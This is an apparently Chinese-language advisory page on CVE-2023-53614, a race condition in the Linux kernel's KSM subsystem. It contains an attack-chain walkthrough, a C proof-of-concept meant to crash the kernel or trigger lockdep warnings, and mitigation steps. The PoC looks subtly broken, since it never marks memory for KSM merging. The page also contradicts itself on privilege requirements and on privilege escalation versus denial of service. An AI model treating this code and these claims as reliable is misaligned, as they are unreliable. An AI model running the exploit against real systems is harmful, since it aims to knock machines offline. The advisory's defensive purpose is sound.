IPBUF安全漏洞报告
English
CVE-2023-53614 CVSS 4.7 中危

CVE-2023-53614 Linux内核KSM模块VMA迭代与mm_struct销毁竞争条件漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53614
漏洞类型
竞争条件漏洞(Race Condition)
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(mm/ksm 子系统)

相关标签

Linux内核竞争条件KSM内存管理mm/ksm拒绝服务本地提权内核漏洞Race ConditionVMA

漏洞概述

CVE-2023-53614是Linux内核内存管理子系统(mm/ksm,Kernel Samepage Merging)中的一个竞争条件漏洞。该漏洞存在于KSM模块处理VMA(虚拟内存区域)迭代的过程中,与mm_struct结构体的销毁之间存在时序竞争问题。具体而言,exit_mmap()函数在持有mmap_lock写锁的情况下会销毁VMA和maple tree数据结构。然而,KSM代码在以读模式获取mmap_lock后,未能及时检查mm_struct是否已经被标记为退出状态(即调用ksm_test_exit()),便直接通过for_each_vma()迭代器解引用已被销毁的maple tree。由于maple tree在销毁后,用于通知lockdep检查外部锁的标志位已被清除,此时继续执行for_each_vma()迭代器将解引用一个不再具有外部锁标志的maple tree,从而触发lockdep警告并可能导致内核崩溃。该漏洞需要本地低权限用户触发,攻击者可通过精心设计的时序操作利用此竞争条件影响系统可用性。CVSS评分为4.7,属于中危级别,主要影响系统的可用性(Availability: High),对机密性和完整性无影响。

技术细节

该漏洞的技术核心在于Linux内核KSM(Kernel Samepage Merging)模块中mmap_lock与mm_struct生命周期管理之间的竞争条件。

**漏洞原理:**
在Linux内核中,exit_mmap()函数负责在进程退出时清理其内存映射。当该函数被调用时,它会在持有mmap_lock写锁的状态下销毁进程的所有VMA和底层的maple tree数据结构。

KSM模块中的相关代码路径会执行以下操作序列:
1. 以读模式获取mmap_lock
2. 调用for_each_vma()迭代器遍历VMA
3. 在迭代过程中解引用maple tree

问题在于步骤1和步骤2之间存在一个时间窗口:另一个CPU核心上的exit_mmap()可能在KSM代码获取读锁后但尚未开始迭代前销毁maple tree。修复方案要求在获取mmap_lock读锁之后、for_each_vma()迭代器解引用maple tree之前,调用ksm_test_exit()检查mm_struct是否已被标记为退出状态。

**利用方式:**
攻击者作为本地低权限用户,可通过以下方式触发该漏洞:
1. 启动一个持续运行KSM相关操作的进程(如启用KSM的内存密集型应用)
2. 同时频繁触发另一个进程的退出操作(exit_mmap)
3. 利用时序竞争使KSM的VMA迭代与mm_struct销毁重叠
4. 当KSM代码在maple tree已被销毁后尝试解引用时,触发内核panic或lockdep警告

由于maple tree的外部锁标志已被清除,继续迭代将触发lockdep子系统检测到不一致状态,可能导致系统不稳定或拒绝服务。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标系统上拥有本地低权限账户,并能够启用KSM功能(通常需要root权限或CAP_SYS_ADMIN能力)。KSM(Kernel Samepage Merging)是Linux内核中用于合并相同页面以减少内存占用的功能。
STEP 2
步骤2:触发竞争窗口
攻击者通过fork()大量子进程,每个子进程分配内存映射后立即调用_exit()退出。这会在不同CPU核心上并发触发exit_mmap(),在持有mmap_lock写锁的情况下销毁VMA和maple tree。
STEP 3
步骤3:利用时序竞争
与此同时,KSM扫描线程获取mmap_lock读锁后,在调用ksm_test_exit()检查mm_struct状态之前,exit_mmap()已经销毁了maple tree。此时for_each_vma()迭代器尝试解引用已被销毁的maple tree。
STEP 4
步骤4:触发内核异常
由于maple tree的外部锁标志已被清除,lockdep子系统检测到不一致状态,产生lockdep警告。在严重情况下,可能导致内核panic或系统不稳定,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53614 - Linux Kernel KSM Race Condition // This PoC demonstrates the race condition between VMA iteration and mm_struct teardown // Note: Requires root or CAP_SYS_ADMIN to enable KSM #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/wait.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #define NUM_THREADS 100 #define NUM_ITERATIONS 1000 // Function to enable KSM (requires root) int enable_ksm() { int fd = open("/sys/kernel/mm/ksm/run", O_WRONLY); if (fd < 0) { perror("Failed to open KSM control (need root)"); return -1; } if (write(fd, "1", 1) != 1) { perror("Failed to enable KSM"); close(fd); return -1; } close(fd); return 0; } // Worker thread that allocates memory and triggers KSM scanning void* ksm_worker(void* arg) { // Allocate pages that KSM will try to merge size_t size = 4096 * 100; // 100 pages void* mem = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { return NULL; } // Fill with identical content to encourage KSM merging memset(mem, 'A', size); // Keep the mapping alive briefly to allow KSM scanning usleep(10000); munmap(mem, size); return NULL; } // Rapid process creation/exit to trigger exit_mmap race void trigger_exit_race() { for (int i = 0; i < NUM_ITERATIONS; i++) { pid_t pid = fork(); if (pid == 0) { // Child: allocate memory and exit quickly void* mem = mmap(NULL, 4096 * 50, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem != MAP_FAILED) { memset(mem, 0x42, 4096 * 50); // Exit immediately to trigger exit_mmap race _exit(0); } _exit(0); } else if (pid > 0) { int status; waitpid(pid, &status, 0); } } } int main() { printf("CVE-2023-53614 PoC - KSM Race Condition\n"); if (enable_ksm() != 0) { printf("Run as root to enable KSM\n"); return 1; } printf("KSM enabled. Starting race condition trigger...\n"); // Create threads to trigger KSM scanning on memory regions pthread_t threads[NUM_THREADS]; for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, ksm_worker, NULL); } // Concurrently trigger rapid process exits to race with VMA iteration trigger_exit_race(); // Join threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Race condition trigger completed.\n"); printf("Check dmesg for lockdep warnings or kernel panic.\n"); return 0; }

影响范围

Linux Kernel < 6.6(受影响的稳定版本)
Linux Kernel 6.6.x(需要根据具体补丁版本确认)
Linux Kernel 6.7.x(需要根据具体补丁版本确认)
所有包含未修复ksm代码的Linux内核版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过执行'echo 0 > /sys/kernel/mm/ksm/run'命令临时禁用KSM功能,停止内核的相同页面合并操作;2)在GRUB启动配置中添加'ksm=0'参数,使系统在重启后仍保持KSM禁用状态;3)通过文件系统权限限制普通用户对/sys/kernel/mm/ksm/目录的读写权限,防止恶意用户重新启用KSM;4)监控系统日志(dmesg)以检测lockdep警告和内核异常,及时发现潜在的利用尝试;5)限制本地用户fork大量子进程的能力,通过ulimit或cgroup限制进程数量。需要注意的是,这些措施仅能降低被利用的风险,根本解决方案仍是升级到已修复的内核版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表